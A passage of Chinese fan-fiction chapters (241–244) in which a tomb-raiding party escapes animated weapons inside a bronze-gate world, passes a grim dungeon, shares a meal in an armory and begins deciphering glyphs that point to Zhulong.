他扑回了队伍的中心，在用软刃迎长枪折杆的情况下，还有空将单脚跳的黑瞎子给扶了一把，黑瞎子感受到身后之人的气息，咧嘴笑了一下，可谁知道，这样的兄弟情义，让他暖心了还不到两秒钟，自己就被一把推了出去。 向前栽倒的黑瞎子，又瞬间像滚落的皮球一样，被解雨臣给接住了，而刚才冲他和张祈灵这边冲过来的长枪，在被张祈灵切成木秃子以后，竟然精确的扎在了黑瞎子刚才的位置上，就像是专门针对他似的，对着他那脚趾头就是干！ 张祈灵向解雨臣点了点头，示意他照顾好黑瞎子以后，便在小哥还有吴峫以及胖子不同意的目光中，挡在了他们的前面，现在情况危机，小哥就算是再担心张祈灵，也不能将人打晕，毕竟，抱着一个人或者背着他来回跑，别说暗箭了，明刀都难防，说不定第一个丧失行动力的那个，就会被当成目标打。 毕竟，黑瞎子那边的情况就是，那家伙看着他单脚不方便，就可劲冲着他攻击，而黑瞎子也在一阵阵的蹦跳中，接上了前面没回答的那个问题，“其实吧，我发现的规律，就是我好像一旦短距离的接触到它的某种波动，或者是别的信息，就会让我背后的那东西害怕的不要命，那女人自己不想看，也带着我不让我看！” “你这算人形雷达吧？”霍道夫用药箱挡住了飞来的小刀，而他箱子里的那些瓶瓶罐罐，已经碎的不成样了，甚至在移动时，都会发出明显的碰撞声。 鄢啸南瞧了眼黑瞎子，看到了他所说那女人正哭泣着捂住黑瞎子的眼睛。 而他身边的清如，步伐却轻的像是鸿毛，竟然一蹦一跳就能躲过所有的攻击，甚至还有空说话，“你们外族人说话真有意思……不过，它看起来并不像是要杀人的样子，而是，它还在将我们往外面赶……” “但我们现在还没触碰到核心位置。”衍卜寸这么说着，并和小寸合力，用红线将上头的冷兵器们尽量裹住。 没有加入口舌之争的张祈灵，则重重喘息着，有可能是怪怪的唾液的作用时间有限，或者是他伤口崩裂的实在厉害，这使得他的伤，开始接近于极限，大颗的血珠凝聚在他的身上，仿佛随时都准备着砸下来似的。 直到吴峫看到了张祈灵脚下第一个绽开的血花，便立刻用枪身，怼着那群刀剑，擦出了烫手的火星子也不带停的，他同胖子还有小哥一起，快速地朝张祈灵靠近。 等来到张祈灵面前后，吴峫却只是将衍卜寸给对方披上的外套裹紧了一些，胖子还有小哥也护着他给张祈灵理衣服，霍道夫的缝合对于现在的张祈灵没用，清如也说了张祈灵不会死。 可吴峫还是担心，甚至紧张到了极点，不过，他能做的只有这些了，现在他系紧着张祈灵的衣料，而里面包裹的，不仅有张祈灵的鲜血，还有他那颗一直在惴惴不安的心。 “这东西怎么让它停下来！它一直在将我们往回头路的门里逼！”饶是解雨臣这般文雅的人，也忍不住在情况危急的时候，拔高了音量。 衍卜寸拎着青铜铃铛，摇动了起来，随即，他的红线为大家破了一条通道，只不过，只有他衍家人能看到，而外族人的黑瞎子如今已经短暂失明了。 并且，衍卜寸为了防止它听懂自己的话，选择了闭嘴回答解雨臣的话，并直接开始拿起刀怼着地面，用他在铁三角那学来的暗号，急促地打了句： “离卦，丑时，三位，禁停！” 大致意思就是，向南，一点至二点五十九位第三个门，禁止停步。 第241章 他还不能倒下 张祈灵穿着衍卜寸的外套，像是个英勇杀敌的小王子，在回踢刀身的时候，没时间理那翻飞的外衣，只能任由它跟斗篷似的往后飘。 刀子像雨不断的往下落，黑瞎子看不见，但被霍道夫和解雨臣拉着，哪怕丢了半块鞋和四十块钱的袜子，也能健步如飞，鄢啸南和清如就更不用说了，在鬼精与灵活中，他们并称第一。 而张祈灵躲避着那些兵刃相接时，每次都会泄力几秒钟，所以这时候的吴峫和胖子，就会将他的身体给狠狠撑一把，携着他往前走，小哥则在后面收尾，护着所有人的背部。 张祈灵在吴峫和胖子的帮衬下，一步步的朝着衍卜寸的方向走，直到衍卜寸大力将他送进门里后，张祈灵才彻底倒在了地上。 伤口处被缝住的线已经崩开一半了，身体滚烫的热，让他感觉到脑子成了一团浆糊，混沌的厉害，连肌肉也酸软了下去，但张祈灵还是在吴峫和胖子等人进来之前，立刻用手撑住地面，准备自己起来。 这世界上没有永远屹立不倒的高山。 而高山之所以那么的遥不可及，确实是其天生鬼斧神工所铸造的结果，可将人比作高山，那能与大自然媲美的唯一品质，也就只有同样不屈的精神了。 所以，张祈灵觉得自己能拼的，能支撑住所有的，只有那毫无价值又执拗的意志，他能忍，什么都能忍，而现在他不能成为累赘。 他还不能倒下。 想到这里，他便扶着膝盖，艰难地起身，等捂住胸口的伤，喘了几口气，安稳地站定在那里后，他才来得及揉一把自己已经开始重影的眼睛，直到，掌心的血不知不觉将眼眶都涂的黏哒哒以后，张祈灵才回过神般地收回了手。 重新回归黑暗以后，衍卜寸的青铜母铃就亮的出奇了，这使得在灯光映照下，死亡角度的逆光让他像只惨白着脸的鬼。 胖子发散思维的这么想着，随后又给张祈灵撑起了软绵绵的身体，因为彼此体格子不同，导致他觉得，自己其实是把张祈灵给架在了胳膊上，而对方的重量，仍然有些轻飘飘的，在门里的他，比雨村的时候瘦多了，胖子心疼的碰着张祈灵那没几两肉的胳膊。 “嘘……”小寸率先出声，他认真的舔着因为剧烈运动，而导致干涩的嘴唇，然后，他的目光就灼灼地看向了衍卜寸手中摆动的铃铛，等到正确的门回震回来的余波被他看见以后，他才立刻摆了手势，招呼大家聚拢行动。 黑瞎子掏了掏耳朵后，才单脚轻跳着，凑到了衍卜寸身边，压低着声音问对方，“你这衍家人的buff挺好用啊，和外族人进来不同的条件，反而能够让你记得外头的记忆……不过，你那暗号是什么时候学的，吴峫他们知道这事吗，真是让你偷着师了。” 刚猫着身子，踏步出去的小寸，虽然知道说的是衍卜寸，但听到黑瞎子的调侃后，还是身临其境的觉得黑瞎子说衍卜寸就是在说自己，于是立刻如炸毛的小猫般，瞬间扭过了头，并用一双卡姿兰大眼睛瞪了瞪黑瞎子。 “我都说了，让你别说话！”小寸这么威胁着。 这句话，引得黑瞎子挑了挑眉，他坏笑着，仿佛刚才经历被割掉鞋的不是他一样，然后没心没肺的调侃着，“抱歉啊，我只听到一声‘嘘’，还以为是有人放屁呢。” 小寸的脸色青一阵白一阵，哼了下，便不想与黑瞎子再辩论这些，直接扭过身，劲劲的就往前走。 解雨臣见到他们不合的样子，于是按着黑瞎子的肩膀，没说话，大约是在劝黑瞎子大度一些，在这时候别整什么唇舌之争，感受着身边一香的黑瞎子心情确实好了不少，他转头，等确认完张祈灵的呼吸距离自己不远以后，才扶着解雨臣的手，往前摸索着。 在这么跟做鬼一样，静悄悄的穿梭了好几个门以后，胖子只感觉自己头晕的厉害，不过，这是心里反应罢了，他真不知道衍卜寸和他旁边他自己的缩小版，究竟是怎么听出来这里哪个门有不同之处。 反正，自己在歪七扭八的进了各种各样的门以后，只觉得头眼昏花，而且力气也快耗光了，如果说胖子的体力告急，那么队伍的其他人也不怎么好。 张祈灵的整个身子，已经被他自己的血给洗了一遍，就像是移动的腥物，于是怪怪又给他舔了一轮，才止住了血，让他不混沌的头脑清明了些。 “我们估计找不到它的老巢了，我们在跑，它也在跑，甚至比我们更快。”小寸一边喘着气，手还扒着衍卜寸的小臂，“回衍光善以前呆的地方去，那里地形复杂，它就算想将我们一网打尽也麻烦得很。” 衍卜寸立即反应过来了小寸说的是什么，才想要再确认一下，就听见清如的声音拔高起来。 “你是说地下室？你不可能继续呆在那里，你一进去就会……！” 小少年的眉头紧蹙起来，直接打断了清如的话，丝毫没有怜香惜玉之情，他的声音似乎刻意被他处理了一下，稚嫩间又带着故意压低的沉顿感，“这和你无关，那里是我们唯一的去处了，我们不可能回自己居住的屋子里，那里是一片空地，太危险了，而且，衍光善的地下室里，还有些能用的武器。” “你是认真的吗？”衍卜寸自然清楚那过去吃人时，道德与人性之间痛苦挣扎时的灰暗时刻。 小寸抬起头，看着衍卜寸的眼睛，彼此间其实早已知道了结果。 “现在走什么门？”吴峫见他们已经决定好了的样子，于是扶着张祈灵，问道。 衍卜寸摇动着铃铛，选中了一个，并在门旁等着大家。 直到再次进门，大家才来到了一个散发着极致辉煌的繁华的楼阁，这里倒是衍光善的审美，也是他会修建的风格，但张祈灵刚踏进门槛，就闻到了一阵的腐臭气息。 他的视线，快速在香炉和那供的人不人鬼不鬼的铜像上扫了一遍，才发现不是这些东西散发出来的。 衍卜寸率先和小寸推开了暗门，那股腐臭的味道终于没了任何的阻挡，一下子朝众人扑来，胖子干呕了一口，这活脱脱就是人肉腐烂的味道，人类面对同类死亡的雷达，在他的心里响起了警报。 张祈灵用袖子捂住了下半张脸，衍卜寸外套的气息已经被自己的血腥味冲的很淡了，不过闻自己的血，总比嗅那陈年的老闷宝血要好。 大家往下走着，从常规的臭，来到了巨臭之地，这里装着的是无数的牢笼，而里面的人因为温度原因，好的成为了白骨，而坏的已经成为了烂泥一样的膏状物，有的为了求生，变成了第二个衍卜寸，他头骨的嘴里，衔着的是他人的手骨。 鄢啸南见到这场面，看着他们铺在身下的稻草都已经被血染成了深褐色，他真的很难想象，这些曾经被衍光善所带走的孩子们，竟过着这样的生活。 他更难相信，自己心里头，连杀鸡鸭的场面都不敢见的乖乖弟弟，会想出这么多折磨人的法子。 而就是在这一瞬间里，大家都准备走了，结果衍卜寸和小寸哗啦啦就吐了，蹲在地上，像是要将心肺呕出来一样，明明肚子里没什么了，但还是一阵往外倒酸水。 “我就知道会这样。”清如扶着额头，看着这两个犟种，闭上了眼不想再看。 第242章 群狼 胖子看着知道具体内情的清如，想要知道怎么让衍卜寸他们二人缓解一些，但一时之间又不知自己该如何称呼她。 不过，胖子鼓起勇气询问之前，衍卜寸就已经拉着小寸起身了，小哥从包里翻了两瓶水丢给他们漱口，咕嘟咕嘟把口腔里的酸味去掉，衍卜寸才继续提步开始走。 但阴影就是阴影，不可能会因为停止呕吐而改变，衍卜寸的情况特殊，如果他只记得自己在白玛那里生活过，当自己是天真无邪的孩子，那么他还能在这时候过活的好一些，但他前面与小寸进行了融合，进门后拆分彼此，记忆也是给不回去的。 他所拥有的阴暗记忆，现在全部都充斥在脑海里，哪怕他五感里只恢复了视觉，鼻子根本闻不到任何的味道，却也还是会想到曾经为了求生而吃尽同类尸体的恶心过去。 衍卜寸不是觉得族人恶心，是他自己恶心，他对不起他们，如果不是自己不听从衍光善的安排，如果自己当初不那么犟。 如果……不，没有如果，衍光善就是要创造一个怪物，他怎么做都是错的，这根本没有答案，但他开始怀疑衍光善那样对待自己的目的，根本不是因为鄢啸南将自己领回来的报复，或者是换身，也许真的只是为了培养一个怪物而已，但却不是用来填补他亏损的身体的。 而是……从一开始就想要自己屠神。 他拉扯着小寸，晃了晃穿插着无数尸体，自己哭泣着将腐烂尸体吞入腹中的记忆，衍卜寸就这么在众人灼灼的目光下，将墙壁上还在燃烧的挂蜡提了几盏，递给大家，他的动作顺畅，但脸色惨白，唇上还有未干涸的水渍，却并不衬得他有丝毫的生机。 张祈灵接过他的挂蜡，看着这强撑的人，以及他手里还紧握着的孩子模样的小寸。 状态实在是不好，张祈灵歪了歪头，意思是询问衍卜寸前方是否有危险，衍卜寸偏过脑袋，聚起快要离散的跳脱精神，朝那边深处的黑暗看了一眼，确认着并没有生物或死物痕迹后，才向张祈灵点了点头。 可张祈灵刚准备一马当先走在前面的时候，一下子就被吴峫给拉了回去，这里的气息实在是太浓郁了，吴峫没法张口说话，只能用那饱经风霜的眼睛看着自己，那里头是不允许行动的神情。 张祈灵眸光闪动了一下，随即迟钝的点了点头，进了这里以后，记忆恢复了差不多，他也知道自己是被吴峫所创造出来的……而自己对着这个人，会展现出极高的天性顺从和依赖，就像是幼鸟破壳后，会跌跌撞撞拥向母亲的怀抱一样。 他是吴峫创造的，他属于吴峫。 听话的张祈灵就这么跟在了吴峫的旁边，被拥护在大部队的中间开始往前走，而胖子依旧给自己撑着身体，张祈灵能够明显看到胖子脸上的汗珠，但胖子却冲自己咧嘴笑了笑，示意帮兄弟一把没有关系。 胖子的汗顺着额头落到了下巴，张祈灵想伸出手给他擦一把，但刚抬起来，就意识到刚才的视线模糊，也是因为自己的掌心都是血，他瑟缩了一下，没有多余的动作了。 但吴峫却看到了。 而一直携着黑瞎子，和霍道夫一起跟在衍卜寸后方，处于第二梯队的解雨臣，则不时回头，查看小哥的守后情况，并在吴峫示意朝这里丢块帕子的时候，毫不犹豫地扔了过去。 吴峫立刻接住，递给一直在纠结的张祈灵，而张祈灵也顺利的给胖子擦了把脸上的汗，其乐融融的样子，让张祈灵有些不敢相信。 而因边走边擦，胖子努力则收着下巴，让张祈灵能够擦的更仔细一些，这是张祈灵少见的，除了掰豆角，割兔肉以外的，对人类的亲自伺候，胖子享受的很，恨不得张祈灵的手贴自己脸上，因为张祈灵的手因为失血过多，而寒凉的很，他好歹能用体温给人暖一暖。 后面的小哥，则像是群狼队伍中最后的狼王，他看着张祈灵被包绕在中间的样子，也感同身受的有些开心，过去的他，不是没有看见过张祈灵小心翼翼的相处模式，只是因为不了解，而不知道自己应该表现出什么样的反应。 而现在，小哥的指腹，正细细的在自己的脖颈上楷了一把，他想象着，当初被自己划伤的张祈灵，在青铜树上拼命爬行的时候，该有多疼呢？在满怀期待，想要融入这个集体，却被刺痛之际，又该有多心寒呢？ 明明自己和张祈灵是一样的躯壳，小哥却怎么也无法做到感同身受。 但他的共情能力，却并非真的有那么差，所以小哥清楚的知道，就算是自己现在将那时的疼还回来，也无法还原在那样条件下张祈灵的心理活动。 时间不是晚了，只是张祈灵那时直至今日，都没学会委屈一词，他连那施加在身体上的痛楚也当作是恩典，他将那曾厌恶投来的眼神，也当作是毫无保留的爱，而这个世界，甚至还未教会他哭泣。 小哥一步步的压步调走着，过去无法改变，但现在仍在继续，目前的他不是孤寂的王，他只是这个队伍里的普通压尾之狼，而张祈灵尚还是幼崽。 张祈灵是他的兄弟，是需要很多很多爱的，可以一起同生共死的兄弟，他会教对方重新认识这个世界，然后，与吴峫、胖子他们永远的生活在一起。 群狼需要的是紧密的惺惺相惜， 谁也不能丢下谁， 因为他们是不可分割的家人。 而前头的衍卜寸，很快就找到了衍光善以前存放武器的地窖，这里为了保持冷兵器的质量，所以和前面关押人的地方的区域很不一样，空间大，而且很干净，就是因为过于空旷，导致这里的温度开始极速下降，哪怕他们这群人带进来了一部分二氧化碳也没有缓和。 衍卜寸看了看周围，便不再牵着小寸了，毕竟人家已经缓好了，自己再带着当挂件携着走也不合适，现在他有了空，便靠在挂烛上搓了一把手，才向那些兵器里挑挑拣拣。 小时候来过这里一次，还是为了给福福挑兵器，时间太久远了……衍卜寸因为过于寒冷，而吐着团白气，张祈灵看到衍卜寸的头顶冒烟，立刻察觉自己披着的还是人家的衣服，但还也还不去了，上面都是血，凝固起来的时候，像是结痂在身上蹭。 张祈灵不知道该怎么在口头上关心人，前面帮胖子擦汗这件事简单，只要动作上能够及时回馈的，自己就不会拖沓，但目前衍卜寸似乎没有什么要帮忙的地方。 “一路走来，咱们的热武器肯定消耗的差不多了，用些别的也好。”衍卜寸挑挑拣拣，从中挑出了几个便于携带，又属于上品的家伙事。 将张祈灵妥善放到地面休息的胖子，终于有机会在接过衍卜寸递来的大砍刀的时候，能够亲一亲真宝贝了，这一趟下来，除了跑就是跑，压根没有什么能拿的。 但同样接到武器的黑瞎子，听着身侧不停啧巴的亲吻声，挑了一下眉，“胖子，我可跟你说，这门里的东西可带不出去啊。” 还沉浸在喜悦之中的胖子，显然是忘了这茬了，他原本红光满面的脸瞬间灰败下去，臭的恨不得把点明真相的黑瞎子给啃了。 “带不出去，还不能亲两口吗？这可是西汉的大马刀，妥妥的历史真迹啊！”胖子抱着刀柄不撒手，嘴里嘟嘟囔囔的继续说，“让我沾沾味，我这辈子也知足了。” 吴峫轻笑了一下，一巴掌拍在胖子的背上，劝他想开点儿，他知道胖子是不可能满足的，只不过是在给自己洗脑而已。 “好了，你们别吵，保住体力才是要紧的，对了，黑瞎子，你炒饭呢？”解雨臣将几盏挂烛都放到了中间，大家抱着自己的武器以后就围着坐一块了。 黑瞎子蹙了蹙眉，拒绝回答道，“你们吃的呢？跑的时候全喂给那帮家伙塞牙缝了？没想到你们挺舍得啊。” “怎么可能！”胖子立刻放下自己的大宝刀，“只不过是我们发现你的炒饭，更有恢复体力的价值而已！” “说来说去，你们还是想白嫖啊……”黑瞎子发现真相后，眨了眨眼，发现自己能够看清楚了，于是确认了下解雨臣的那张卡还在身上后，便向吴峫勾了勾手，向他讨钱，“你的兄弟们饿着呢，拿钱啊！” “你看我像有钱的样子吗？现在还计较什么，我们都快饿扁肚子了！”吴峫直接起身，想要去薅黑瞎子的背包，谁知道小哥和张祈灵已经悄默声地坐在一起，将黑瞎子的背包给偷过来了。 于是青椒炒饭哗啦啦的落了一地，吴峫迅速给大家分配以后，又将几个罐头还有干粮给又均摊了一下，因为小花不吃青椒。 胖子的背包里还有热饭的工具，一个小锅架起来，把饭捣进去，一烧起来飘香，把人等的直咽口水。 “对了，卜寸小同志啊，你这一变三的能力，会影响那什么红线的能力吗？我一直看不到，所以想问的很。”饭熟了，胖子就这么给大家盛在饭盒里，挨个发着，然后问道。 衍卜寸摇了摇头，接过胖子递来的青椒肉丝炒饭，“不影响，但如果三个我还对抗不了的话，那就再合一遍，这次有了基础融合，就不会用那么多时间了，放心。” 而堵在门口的怪怪，听后有些不服的看向衍卜寸，吃不到东西就算了，人家还能随时随地把自己的命夺了，霸道的很！怪怪哼唧着，不想再看衍卜寸，于是将视线放到了张祈灵的身上。 可惜张祈灵并未说什么帮腔的话，只是木木的吃着自己的那份吃的，像个乖巧的偶人。 怪怪想也不用想，人家确实没必要帮自己劝衍卜寸别合体，只是它心中就是莫名的期待，想要博取张祈灵的关注，哪怕只是一点点。 而这拥有两个心脏的大家伙，似乎还没意识到他的动心，但吴峫偏了偏头，恰好对上了它保龄球一样的大眼睛，似乎已经察觉到了什么。 也就是吴峫这愣神的瞬间，小寸已经凭借着身形瘦小的优势，一屁股把自己挤开了，跑到了张祈灵的旁边坐着。少年捧起自己的饭，眼睛亮亮的，像是要把自己拥有的食物，全部都献给张祈灵一样。 张祈灵摇了摇头，婉拒着，他肚子已经饱了，没必要再把人小孩的东西也给吃掉。 而看到张祈灵拒绝以后的小寸，甚至还舔着大脸，扭扭捏捏的不想走，随后，吴峫便阴沉着脸，一个单手将他拎起来，丢回给衍卜寸了，落地以后的小寸，像是突然应激的小猫，冲吴峫龇了龇牙。 吴峫翻了个白眼，不客气地回敬着。 这衍卜寸的分身，一个个都这么难缠，医学领域不有什么多重人格拥有不同的性格和喜欢的类型吗？衍卜寸这种情况也应该差不多吧，但怎么一个两个都死盯着张祈灵不放！ 吴峫往张祈灵旁边凑了凑，都什么坏心思，自己家张祈灵还没开窍呢，他们倒惦记上吃肉了，真是贼心难防！ 第243章 爱心形 完全不知道自己已经被狗基佬盯上的张祈灵，只是在吃完后，看着锅底的噼里啪啦火堆发呆，他在想，胖子竟除了武器以外，竟还背了个这么大的锅和干柴…… 肯定很累吧。 张祈灵的思绪飘远，完全没有察觉到，周围那些如狼似虎的目光，吴峫警觉的护着自己的大白菜，他这突然的靠近，让张祈灵受宠若惊地小心翼翼用余光瞄着。 而在门内这个时间段里的张祈灵，在看着吴峫那略显大病初愈的沧桑侧脸时，只觉得时光荏苒，自己不过是在这门里待了些时日，再次见到吴峫，对方就已经变成了这样的中年模样。 吴峫未捕捉到张祈灵的神色，只是狠狠的扒着饭，将其他投来视线的人，全部都瞪了回去。 胖子看着吴峫翻起白眼的模样，用宽大的手在吴峫面前晃了晃，“我说天真啊，你眼睛抽筋了吗？这该不会是那什么青铜铃取出来的后遗症吧！不是霍道夫，你来看看，我去，抽的像蚂蚱蹬腿，眼皮子能跳出两里地！” “胖子，你说什么呢？！”吴峫被这么一说，赶紧撂下饭盒，他没好气的一拳捶在胖子的肩上。 胖子嘿嘿一笑，显出了牙上挂着的辣椒皮，“看来我才是良药，天真碰我一下，就跟吸收了日月之精华似的，好的那叫一个快！” “喝水。”小哥默默地在看到胖子的板牙贴菜后，将水递了过去，打断了他们的让气氛缓和了些。 不解的胖子将一瓶水干下去三分之一，响亮的砸吧了嘴一声，“别说，小哥给的水就是好喝！天真，你也来一口！” “滚蛋，这么好喝你自己全喝了得了！”吴峫更蹭的张祈灵近了些，磨的衣料摩擦起来，但他前面拒绝呛自己的胖子，却又向小哥实名双标好奇地伸出手，“小哥，来给我一瓶让我尝尝。” 不知道矿泉水有什么特殊的小哥，疑惑地将水递了过去，吴峫喝了两口，却还是不由自主跟着前面胖子说的，附和了一句，“别说，真挺甜。” 张祈灵像个鹌鹑一样，由着吴峫轻轻靠着，此时看到吴峫和大家嬉笑打闹的样子，心中也觉得甚是欢喜，他抿着唇，偷偷浅笑，瞧吴峫喝了一点儿后就停了。 随后，吴峫就抬了抬水瓶，朝自己笑了笑，应该是知道自己不方便动，吴峫将瓶口凑上了张祈灵的唇，迟钝的张祈灵慢慢地喝进去，却没有感觉到被吴峫和胖子夸大其词的味道。 但他还是在喉结滚动以后，斩钉截铁的道，“甜。” 这下不止铁三角被逗笑了，连黑瞎子也拍着大腿，指着他们。 “好呀，你们就欺负祈单纯，可劲哄他吧？我倒是也要尝尝这水是什么滋味，不会是哑巴偷偷在长白山带来的特产吧！”说完，黑瞎子就想要起身去捞。 结果吴峫直接拧上了瓶盖，手往旁边一闪，让黑瞎子碰了个空，“师傅啊，徒弟知道，你体格子硬，不喝也没事，惦记我这水也没啥用啊！” “这不是你把我背包里的东西全倒出来的时候了？我是真没水！没看刚才掏出来的都是青椒肉丝炒饭吗？那是我全部家当了。”黑瞎子瘪着嘴，勾了勾手，一副我现在原谅你，但待会儿就不一定了的态度，然后天经地义的开口命令道，“好徒弟不就是要效忠师父的吗！” 安静的解雨臣，吃完了自己热好的罐头以后，便将一瓶水放在了黑瞎子的旁边。 眼尖的黑瞎子，立马坐回去拿了起来，吨吨吨喝完一半后，爽的哈出声，紧接着，就开始他单方面对吴峫的批判大会，“啧啧啧，真是养不熟的白眼狼，徒儿，你看看人家，人花儿爷多大方啊！卡说掏就掏，你再看看你，我养老的青椒肉丝炒饭你都要偷啊！强盗哇，以你这抠门性格，出去是说不到媳妇儿滴。” “说的好像你能找到似的，别老惦记人家的终生大事。”霍道夫吃完自己的那份以后，总算是能呛上一嘴了。 黑瞎子刚想怼回去，就被对面的衍卜寸给打断了，“我们再休息一会儿，这里的地形我算是比较熟悉的了，就算是不太记得的部分，小寸也会帮忙，而且我们现在其实赢的面儿挺大的，它想要躲着不出来，那我们就先发制人……” 他严重怀疑衍卜寸是故意的。 “我的计划是这样的，破坏整个门内结构，逼他不得不现身，当然我并不认为我们的这些刀枪，可以把内部的那些冗杂的青铜门给挨个毁掉，我们的目标并不是那些小青铜门，而是空间结构。” 衍卜寸想努力的把这件事说的通俗一点，听起来吧，确实是有点抽象。 一阵挤眉弄眼的胖子，实在是懂不了聪明人的意思，于是直截了当的问，“所以，咱们的意思就是直接开打是吗？” “就是这个意思，但我们所要针对的，是整个空间，据我在这里生存过的经历，这里不可能是一片虚空，它是有什么地基水泥存在的，只不过我们的肉眼看不到，或者这种东西更属于是一种屏障。”衍卜寸这么道。 黑瞎子架起着胳膊，指尖轻点，没再和霍道夫计较起来，只回答衍卜寸的话，“所以你的意思是，其实这里的辉煌只是一种表象，我们要透过表象看本质，对？” “对。”衍卜寸肯定的点了点头。 吴峫看了看周围，摸着下巴，思索了一下，“你这个观点确实成立，因为我发现，属于这个势力的墓穴，或者我们一路走来，操纵这一切的大多数都是幻象，它用幻象制造了实际的东西，那我们也可以用实际的东西去破它的幻象。” “找起源。”张祈灵歪了歪头，说出了自己的想法。 小哥也将话接了下去，“查开始。” 这意思就是寻到一切的起点了。 “所以，我们需要找到这个门内世界里的阵眼，就像是张家所守护的那个青铜门一样，天外陨石让张佳发现了它的存在，而现在支撑这个门的能量，也肯定不容小觑。 毕竟，张家那边的青铜门，用那种力量给张家了长生和天授，而这个青铜门却会在实现人类的愿望抽取报酬。” 衍卜寸舔了舔唇，继续说道，“它们肯定拥有着一定程度的联系，甚至有可能是正品和仿造品的区别，但这只不过是我的猜想，我们现在的目的还是要找到那个能量，并且摧毁它。我并不保证这个能量与它之间有联系，但是起码在这个计划里，我们不会让更多的人，进到这个门里丧失生命了。” “那找到那个能量，还是用这个铃铛吗？这方法用到老啊，”黑瞎子指了指衍卜寸揣着青铜母铃的口袋。 衍卜寸点头，抬眸看着黑瞎子，“还有我这双眼睛，也能看到不一样的东西。” “别那么悲壮，咱们现在该说点英雄的台词了！”胖子伸出手，抬着下巴，挤眉弄眼的示意大家默契点儿。 吴峫还有张祈灵，小哥等人离得近，立刻看懂胖子的意思，首当其冲就将手压在了一起，其余的大家也跟随着。 “说说我的想法吧，咱这次出去以后，胖爷一定要带你们吃大餐！”胖子这么咧着嘴说完。 吴峫听到，却笑了出来，“胖子，你这梦想怎么突然变得这么朴实无华了？” “独乐乐不如众乐乐，肯定得挑一个大家都能参与的呀！”胖子回答着，“再不济就去我盘口随便挑点儿东西带回去当纪念，爷不差那点钱。” “这话我可是听到了，你不许反悔。”黑瞎子偏头，把手撂下去，呲出一口大白牙。 胖子听到黑瞎子发言，连忙摇头，像拨浪鼓成精似的，并态度强硬的拒绝，“你不行，而且，我上去以后一定要立一个牌子，说黑瞎子禁止入内！” “行了，你别逗胖子了，谁不知道你进人家盘口，肯定会把值钱的全部都卷走，就你这样，谁敢让你进啊？”解雨臣将黑瞎子的手背，示作惩罚的拍了一下，才把自己的手放上去。 黑瞎子装出委屈巴巴的吃痛模样，一阵扭捏的顾涌起来，让霍道夫嫌弃的偏了偏身子，生怕自己被传染上跳蚤。 “加油，一起回家。”衍卜寸笑着，和小寸将自己的手最后放上去。 啊，他不是最后一个。 移动过来的怪怪，刚伸出黏腻的触手，就被吴峫直接伸出腿拦住，吴峫记仇的很，就是这家伙，刚才一直盯着张祈灵奇怪的看。 怪怪不悦的哼唧着，笨拙的身体越过吴峫的腿，直接将手放了上去，但它还算有素质，现在的粘液被它稀释掉了，整个触手只剩凉凉的滑，但随着啵的一声后，它还是把衍卜寸的手背给嘬出了个印子。 “呦呵，爱心形，挺标准啊。”黑瞎子吹了个口哨，调侃着。 怪怪又哼了一声，随后将触手收了力道，把吸盘放在了黑瞎子的头上，等略微抽的眼冒金星以后，他的头顶就呈现出了一个明显鼓起的爱心形大包，头发也像是被嗦过对方芒果核。 胖子看到以后，率先笑出了个大鼻涕泡。 第244章 真面目 收拾好所有的东西，大家再次上路，依旧是衍卜寸领着小寸走在最前面，小哥和身躯最大的怪怪收尾。 衍卜寸改变了摇动铃铛的节奏，从前面的均匀摇晃，变得急促起来，就像是马蹄踏黄沙的沉闷声，勾得人的心惊惧的直跳。 这武器库往深了走，是长到无限一般的阶梯，倒是贯彻了那东西爱消耗体力的作风，而越往下走，挂烛所照亮的范围就越大，但空间却越发狭窄，甚至只要稍微抬点头，都会顶上天花板，这又大大缩减了大家的能见度。 张祈灵的视线，匆匆扫过那些墙面上，所雕刻着令人看不懂的纹路，就像是诵经的梵文，却又看不懂究竟在阐述什么。 而他身侧的百科全书吴峫也在观察，只不过就算他将整张脸都快贴到墙面，同样也看不出什么特别的。 “这文字……衍卜寸你见过吗？”吴峫不是一个会消耗自己脑细胞的人，涉及到他不懂的地方，他不会贸然地去分析，如果给了不好的思路那就完了，所以他才选择去问最前面的人。 衍卜寸的视线似乎一直在前方没有挪移，但听到吴峫的话，他便偏头，观察着被吴峫所好奇的墙面，这么回答道，“不是衍家的文字，但确实有些形似。” 他的指腹摩挲着，掠过那崎岖的纹路，与偶尔一些塌陷的沟壑。 “但如果强行翻译的话，还是能从这些半句里挑出几个字眼。”衍卜寸这么说着，便弯下腰，用手点着其中一个字，“它原本在我们族里，被称为虫，但这个文字旁边，却写了个我看不懂的东西。” 黑瞎子好奇地将腰弯得更深了，但在靠近的时候，却因为空间小，而差点把墨镜磕上去，还是解雨臣一下子抓着他的后领，将人拉了起来，才没让黑瞎子与墙体进行亲密一碰一。 “这像不像个火？”黑瞎子站稳后，一本正经的分析，“你们看啊，用你们那活跃的大脑去想一想，这像不像一个人，头顶上那个头发就像一把火一样，烧的特别旺。” 胖子嘴角抽巴了两下，比了个大拇哥，“其实，我的妈妈从小告诉我，虽然我笨了点，但是勤能补拙，不过，时至今日我都没有发现我的审美天赋，所以黑爷，我真的很佩服你的想象力。” “一般一般，世界第三，你要学的还多着呢，说不定哪天看看就会了。”黑瞎子扇了扇手，一副被夸奖而害羞的模样，可呲出的大白牙显然是对自己满意到了极点。 衍卜寸细细观察着，发现自己还真没有黑瞎子有审美，于是，他随手又指向了一个半字旁边类似于偏旁的东西，“那这个呢，你来解答一下。” “嗯……”黑瞎子摸着下巴，“七，你看啊，这七颗小球，就像是那个七大行星一样，按照一个椭圆形的轨迹排布在一起，没想到这地方还知道宇宙的存在呢？文明挺超前的啊，不会是和哑巴张家里那边偶尔出来的三星堆文化，一个系列里的吧。” 衍卜寸激动地立刻抬起头，但却一下磕到了脑袋，又立马缩住脖子，“如果按你说的话，前面的那个偏旁是火，而我看到的那个字是虫，那么拼凑起来就是烛，而你现在说的这块区域是七，那么我看出的完整的字就是龙，原本我以为这个墙上的东西没办法翻译，但是黑瞎子，也许你有这个本事。” “我去，黑爷的想象力丰富，竟然有一天能派上用场了？！”胖子笑嘻嘻的拍了拍黑瞎子的肩膀，“好好干，胖爷看好你。” “不是，我随口说的，你真信啊？”黑瞎子无形给自己增加了工作量，自然觉得累，但是这显然是烛龙的起源。 于是，衍卜寸和黑瞎子的翻译工作，给了大家大量的休息时间，一行人倚在台阶上，歪七扭八的坐着，但给他们二人留了一条路供更细致的观察壁画，衍卜寸来翻译半字，黑瞎子来补全偏旁。 